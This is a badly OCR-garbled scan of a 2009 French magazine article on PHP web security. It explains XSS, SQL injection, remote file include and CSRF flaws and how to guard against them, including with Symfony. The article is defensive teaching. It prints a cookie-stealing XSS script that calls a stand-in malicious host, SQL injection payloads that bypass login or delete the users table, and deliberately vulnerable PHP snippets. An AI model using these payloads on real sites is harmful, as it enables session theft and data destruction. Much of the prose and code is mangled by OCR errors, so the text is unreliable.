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Un code sans faille !

De par sa nature et son caractere ouvert, l'univers des sites Internet est, de maniére
générale, extréemement faillible. Il est donc trés important de rappeler, avant toute chose,
qu'un site sécurisé a 100%, ¢a n'existe pas ! Ce constat signifie donc deux choses au sujet
des failles de sécurité : d'une part que nous aurons de quol alimenter cet article et d’autre
part qu'il faut étre conscient que, potentiellement, tout site peut &tre la cible d'attagues.

‘vssentiel des types de failles exploitées par quelgues
esprits malveillants et que nous allons eborder ici, n'est
pas particuliérement fié & une technologie précise, Au-dets
de ces quelques lignes, gardons denc a Pesprit que les concepts
Que nous présenterons pauvent tout a fait 8tre portés dans diffé
rents langages, sur différantes plates-formes. Pour répondre aux
besoins de l'article, nous opterons néanmaoins pour [utilisation de
seripts PHP afin diflustrer les failies et leurs contournements.
Nous évoquerons dans un dernier temps, différentes bonnes pra-
tiques générales et sécurisantes inhérentes & un projet PHP

LES FAILLES

KSE

Les failles du lype XS5 (Cross-Side Scripting) consistent & insérer dans
les donnees d'un site web des scripts malicieux. Celles-ci peuvent étre
percnanentes ou nan. Dans le premiar cas, i peut s'agie d'un message

sur un forum, ou un cammentaire sur un Bog, dans lequel l'attagquant
aura inséré du code JavaScripe. Par exemnple, le code suivant permet-
tra de redinigar loute personne affichant le message vers un site mat-
cieux en récupérant leur cookie, ceci de maniére transparente ;

<script>document.write('<img sre="http://sitemalicieux/index.
php?eookie='+document.cookie+'"  style="display:none™/>'};

</script>

Une faille X553 non permanente utilise e méme principe, mais ne tou-
chera qu'une paga vue par lutlisateur qui insére fe code, celuici n'étant
pas stocke en base de données. Il est cependant possible dinciter une
personne & cliquer sur un lien la contenant, par exemple en lui envoyant
un e-mail contenant ce lien. En insérant ainsi le méme code que cides-
s0s, on peut alors récupérer ses cookies sur un site de la méme fagon.
Pour se pratéger, en fitre généralerment les données soik a priori, en
récupérant les variables $_POST, $_GET et $_REGUEST, soit: a postério-
ri, au moment de leur affichage. Les fonctions PHP himispecialchars et
fitrnientities permettent de convertr les caractéres spésiaux en entités
HTML, empéchant ainsi linsertion de balises, tandis que strip_tags
effectue fa suppression pure et simple de toutes les balises, Selon les
besoins, on utiisera une de ces trois fonctions. La balise <noscript>
peut également &tre utile pour marguer les zones qui peuvent contenir
des données dutilisateurs. Afin de permettre tout de méme une mise
en forme du texte, on utilise généralement soit un ensemble kmité de
balises qui ne seront, pes filtrées, soit un balisage particutier en rempla-
cement du HTIVL, le plus connu étant le BBcode.

Injections SGL

Les attaques par injection SQAL permattent; de modifier les requates
utiiisées par une application web. Prencns l'exemple suivant d'une
requite classique utilisée/a éviter pour l'authentification

<?php
$sgl = "SELECT * FROM users WHERE login = '" ., $_POST
['}ogin'] . "' RMND password = '" . § POST{'password'] . "'";
mysql _query($sql);
>

Un utifisateur averti et malveiliant saura utiliser cette requéte pour
effectuer & peu prés tout ce qu'il soubaite sur fa base de données, en
utilisant habilement les parametres qu'it envoie. Voici quelquas
exemples de valeurs pour $_POST{login'} qui permettent d'expioiter
cette faflle, Dans le cas suivant, I3 requéte ignorera e mot de passe
puisque toUL ce gui se trouve aprés "—" ne sera pas interprete. L'atta-
quant pourra alors accéder su site sans soumettre de mot de passe :

$_POST['login’} = toto’ --
Pire encore cidessous, 'attaquant va dans cet exemple fermer la
requéte initiale et en insérer une nouvelle qui supprimera tous las
utilisateurs du site .

$_POST['login'{ = toto’; DELETE * FROM users; --

Face 4 cette fallle, une des solutions est de traiter toutes ies données
en enrde par la fonction mysgl_real_escape_string, Celie-ci échappe
avec un antislash les caracteras permettant de fermer une chaine
MySQEL - NULL, w00, \n, A\ 5 7 et Wa, Ainsi, ils ne pourront plus
étre consideras comme une fin de chaine. Si on utifise autre chose
(e des chaines, cette protection ne fonctionne plus. Par exemple

$eql = "SELECT * FROM groups WHERE user id = "
escape_string($ GET[ 'userid’]);

. mysql_real

Puisque notre paramétire est un nombre et non pas une chaine, un
utilisateur pourra fournir cornme valeur "0 GR 1=1", ce qui retour
nera e contenu entier de la table "groups” et non pas uniguement
ceux de l'utilisateur, Contre ce type d'attaque, on ferce dans notre
requéte Putifisation de guillernets, méme pour des valeurs autres
que des chaines de caractéres. On peut égalernent vérifier le type
de fa variable en entrée aver gettype, is_int, is_nurneric ou une
autre fonction de vérification de type, afin de traiter l'erreur, La
fonction mysqgl_real_escape_string peus en revanche poser problé-
me pour 'injection de données binaires. Pour éviter cefa, on peut
convertir natre binaire en chaine hexadécimale aves binBhex

<?php
$bhinary = file get_contents($_FILE('file']{ 'tmp name']);
$sql = "INSERT INTQ data (id, content) VALUES [NULL, *0x"
. bin2hex($binary) . "")";

>

Dans notre cas, on utiksera hex2bin pour rocenvertic les données en binaire,

Copyright {Programmez} Reproduction interdite sans autorisation

DEVOTEAM




Programmez N° 125

PRESS

N° et date de parution : 125 - 28/11/2009 INDEX
Diffusion : 20000 Page : 42
Périodicité : Mensuel Taille : 85 %
Programmez_125_43_311.pdf 1399 cm2

Site Web : hitp/fwww.programmez.com/

Failles d'include

Les méthodes douverture de fichiers en PHP peuvent ouvrir des URL
distantes, en particulier les fonctions include, include_once, require
et require_once. Cetle action d'ouwverture peut 8lre source de failles
de sécurité importantes et peut permettre a un utilisateur dinclure
un fichier PHP malicieux. Prenons, par exemple, e code suivant

<?php
Spage = § REQUEST[ 'page’};
require_once{Spage.’.php');
>

Dans ce code, Yutilisateur pect passer en parametrs une pags
externg, en appelant par exemple ls page ainsi

! e ssera alors inclus et s'exéoutera
sur noteg serveur. Afin de se prémunic de ce type dattaques, le
plus simple est de configurer la variabte PHP affow el include &
false pour interedice les "include” vees des Bohiers distants. Quns e
cas o cette fonctionnalité a besoin d'étre disponibia, i est néces-

La fichior .

soire de limiter les voleurs possibles pour to variable $page,
comme ilustré ci dessous :

<7php
if ¢in array($_REQUEST{'page’}, array({'main‘', 'details’, 'about’)))
Spage = §_REQUEST|'page’|;
else
$page = 'main’;

require once($page.’.php’);
ko

Les attaques par CGRE

La sublifité de ce type daltaques réside dans I fait de sous-traiter
en toute discrétion l'exécution 'un code malvellant, Pour plus de
pricisions, jouons quelgues instants e edle d'une victime.

Je suis administrateur d'une apglication intranet développée en
interne au sein de mon enteeprise. Tous fes mating, lorsque [arc-
ve au buread, jouvre un navigateur et une session sur admin.
monappli.int. Celle-ct est accessible a Furl oo
ot posséde, entre autres, une fonctionnalite de purge de la base
de données. Un bautondien intitulé « purger la base », bien cache

dans un sous-Menu gour ne pas elre activl par inadvertance, per
met de lancer cette purge en ouvrant Purl suvante @ b E

o : : - Dans une autre fendtre de mon
navigateur, j@ me connecte 8 mon compte email d'entreprise, via
wabmail, afin de consulter mues nouveaux massages. &En ouvrant
un des messages, la photo jointe & cet email, ne veut pas g'affi-
cher car ladresse semble étre erronée. En apparence, rien de
dramatique et pourtant ; la lien agsocié 4 celle image n'est autre
que it ; : s Via cet amail,
I'attaquant rva done fal purger la base de donndes & mon insu,
Pour s'en protéger, une des premicres chases A considérer est do
preférer la méthode POST & la méthode GET pour lexécution de
toute action criviqua sue Fapplication, Ce choix rendrait lexemple
ci-dessus inopérant car {es images sont ouvertes en utilisant ka
methode GET. Oans la mesure du possible, il est également prafe-
rable d'ajouter une page de confirmation intermadiaire demandant
de valider explicitement action engagee.

Mais plutdt gu'une image, femail malicieux pourrait contenir du

code JavaScript, capable do genérer un formulaire et de l'ervoyer.
Dans ce cas, e protection la misux adaptée est dajouter au lor-
midaice un jeson de validicé @ un champ caché de type "hidden” est
ajouté au formulaire contenant une valeur aléatoire et qui seca
conservée temporairement dans 18 session de futilisateun, cote
serveur. Lors de envoi du formulaire, e jeton "caché” cst alors
transmis au serveur qui se charge, par un soript PHP par
exentple, de varifier que jeton transmis et jcton stocka dans fa ses
sion sont identigues. Certes plus complexg o mettre en nuvre,
cette solution reste B plus efficace des trois aliernatives,

SF PHEMUMID DES ATTAQUES
AVED SYMEONY

Lorsqu'un projet atteint une taille conséauente, les risgues de
failles augmentent d'avtant, Dans le cas d'un projel de grande
crvergure, il devient aloes préfératde dappuyer ses daveloppe-
ments sur un framework PHP Dutre fa mise en place de bonnes
pratigues de conception et finclusion de nombreux camposants
reutilisables, cette demarche permet de prendre en charge une
partie de fa séourite face 3 certaines des attagues &voguaes pre-
cagemmant. Rien quit esste de nombreux frameworks dispo-
nibles, nous prendrons Fexermnple de Symtony, qui est Fun des plus
utilises & heure actuelle en environnement professionnel.

Les protections fournies par Symfony

Pour effectuer des requites en base de domnees, Symfeny atilise
un 8BM [Propel ou Boctrine) qui sart de couche ntermédiaire. Le
déveioppewr n'a done plus 4 éorire de requétes uiboiéme, L'ORM
remplira alors Tun de ses roles avontuels en se chargeant d'effec-
tuer une partie de la seourisation des donnees, dvitant ainsi les
injections SQL. Dang le cas présent, 'ORM réalisera, cntre autres,
un appel automatique aux fonctions ¥ _escape_string, aingt quune
virification des ypes de variables. Symfony prend egalement en
charge finclusion des fichiers par Futilisation d'un “autolpader®. #
scanng les dilférents répertores de sor architecture pouvant conte-
nir des fichiers PHP et les gjoute dynamiguement. On limite alors les
failles possitles sur les fonctions inchude/require en restreignant
facces aux fichivrs PHP propres au projet, Un projet Symilony peut
ggalement 8tre protége des allegues de type XSS pu CSRE A fa
création du projet via lz ligne de commande Symfony, deux options
purmettent dinclure une protection de base contre ces tailles |

$ php symfony generate:app --escaping-strategy=on ~-csri-
secret=secretunigue frontend

Le premier parameétre permet d'actver foutpul escaping contre
les failles de XS5, an fitrant automatiquement toutes les données
affichées. Le second défint un mecanisme de jetons de sessions
pour protéger les furmalaires des attanues USRF. Symfony fournit
un ensamble de classes et da fonctions pour générer des lormu-
laires, Bt ceux-Gi inciuront alors automabiquement ce jeton. Le
paramétre secreturigue permet de préaciser une chaine aléatoire
apacifique & I'spplication.

Les risgues potentiels des framewarks

Les fromeworks peuvent donc offer une aide indéniable duns Ia
fucte contre fes failles d'un projet. # est cependant primardial de ne
pas considérer les frameworks comme un moyen de sécuriser
totalement les applications web. Certains développeurs peuvent
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avoir tendance A se reposer uniquement sure l2 framework gilise
powr se proteger et negliger wolaleoent Faspect séourité de leue
progre production au sein du projet. It exste bien dautres failles
potenticles qui peusvent vonir du code développe, mime en suiving
ey cecormimandations du framework. Por aillours, los frameworks
sont egalernent des appacations qui peuvent elles auss
propres {ailes. || est done important de se maintenis infocme de

i VDI feurs

faur actualité pour las meltre a jour st besoin, Enfin, siie freme
work offre un cadee pour le développement, Il nimpose cependant
of infranchissables. It reste effectivement
toujours possible de faire des "nclude” ot des requétes SGE en uthk
lisaat, Symitony. I sera done necessare de so proteger dans ce cas.

pas des limiles st

Failles possibles sous Symfony

I owste, dars e cas de Symiony, certanes failles g peuvent étre
axplonces. Dans la configueation recommandte, deud répertorss
doivent élre accessibles on
ies ogs. 8 un utiisateur maivelllant exscute un stept aves les
droite du serveun, | pourcait slors madifier ce cache et corrompre
I projut. | devient done nécessaire di se protiger de oes

urs au servelr web e cache et

artaques, par exemple dans ke cas don habergemont mutualise,
dang lequel d'autres uilisateurs peuvent faire exdoder dus schpls
PHR sur e serveur. I est dgalement imporant de penson, lors de
fa mige s producltion dun projet, & supprimer e conteoleus de
daveloppement, généralemerd _devphp dans le sapartuire web.
Lo faigser ansi aceesshle & OUS PRrMEE aux GEAGUSINS potenuels
gl un nomirg wnportant dinformations sur e configuration

du serveur 2L du proet, sur la struclure des Lahle
ront: habiferment uliliser 3 votro ehcontre.

EMVIBONNEMENMTS LAMD @

BONMMES PRATIQUES GENERALES

Eviber las fichiers anf dans Farborescence aceessible de fextérieun
St les fichiers gw sont praliques & utiiser podr stockar k configu-
ration, fes plocer ainsi permet & un utilisateur qui en connaitrait le
chemin de les visualiser on récupérant par exemple las para-
metres de la base de donnees. Il est generalement recomnands
de faire les {ichiees de configuration sous forme de fichiers php
qui serant alorg inkeepratds par le serveur Apache avant dates

s, quils sau-

awoyés au client, Il ne pourra Ginst pas woiic les variables que
contient volre confiquration. Places les hohwers PHIP hors de Foar-
horescence dy site et les appeler par mchude /ranquira depois o
index. php unique. Une bunne idee peut étre de structursse fe projet
an plusiewrs riépertores, par exemple aing

fvar /v /monsite/
1ib/
‘Lphp
web/f
images/
css/
jaf
index.php
Dang cet exemple, g serveur Apache est confiqure paur ponter
vers :
Anst,

I LT

ar el Bonan pas s VP T
tensembie des lichiers PHP 56 trouveny dons un sutra
répertoire b deviennent inaccessibles aux visitaurs du site. Un
urigue fichier PHP est visible directement, avec les autres fichors

] '“m% ’
stabigues [images, CSS et JavaSeript]. el toutas los requétes pas-
sent a travers lui, Il devient ainsi plus simple de geree 1 stourite
fu site dans @ mesurg 0o tout peut étre rassembi & un geul
endroit. Siles uiiisateurs sasl amenés & pouvoir uploader des
fichiers sur lo servourn, it cst recommands de na pas placer ces
fichers dans un repertoire scoessibie depuls le navigateur. Un utk
fsmmeur pourrait par exernple uploadar un fichier PHE ce qui iui
permoltesis ensute de Pexécuter sur ke serveor, De mardee gené-
rale, it vaus rieux imiter s fichiors 8 certaing types proadelings o

non exccutable
soripl qui chargeea ta i

. Bt permetire aux utilisateurs oy accéder via un

ier camme dans lexermple cidessous

<7php
defing { UPLOAD DIR', '/var/upload/');

7{ on filtre le nom du fichier powr interdire les caractéres
permettant de chaager de répertoire el éviver ainsi gue
1'utilisatenr puisse remonter dans 1'arborescence

Sfilename = str_veplace(array('..', /', "\, 'Y, S GET

1 file1);

Scontent = File_gek_contents{UPLOAD DIR . $filename);
if {Seontenty {
/7 0n précise an client le type nime suivant pour forcer le
téléchargerent du fighler
header ( 'Content-Type: application/octet-stream’);
echo Scontent)
dia; f/ On force je retour pour éviter L'ajout de donndes 3
ia fin éu fichier
} else {
echo "Erreur, le fichier n'existe pas™;

Fed

Set exeinpie 85t 0as basigue mais peretteait par exerople de gérer
la valeur tu Content-Type en foncton du type du fichien, gu ben dinsé-
rer dans le gode une gostion des denits facess selon Tublisateun
Nonnez des droits 2n lecture seuls sue tous les Giohiees. Le proprigtsr
re dos fichigrs doit &tre différent de futdisateur du Servels web pour
aviter laur modification en exploitant une faile. 1 est parfuis nécessar
e gue e serveur ait & éorice lusmiéme dans cortams fichiers ot répar
toires [cache, logs, upioad). Un ke donnera done les droits sur cou-ci
uniquement. Dans le fichier php.ind, # est recommandé de désattiver
las methades & risque i eiles te sonk pas ullisées [system, exec...).
U desactvera egalement, si possible, ©s fonctionnalicés douverture
ge fichiors distants en mettant Ies variables allow_url_fopen et
afiow_rl_inchide & false. Lutdisotion de safe_rmode permet auss d'él-
mines oy ge imiter plusiears fonctions a risque.
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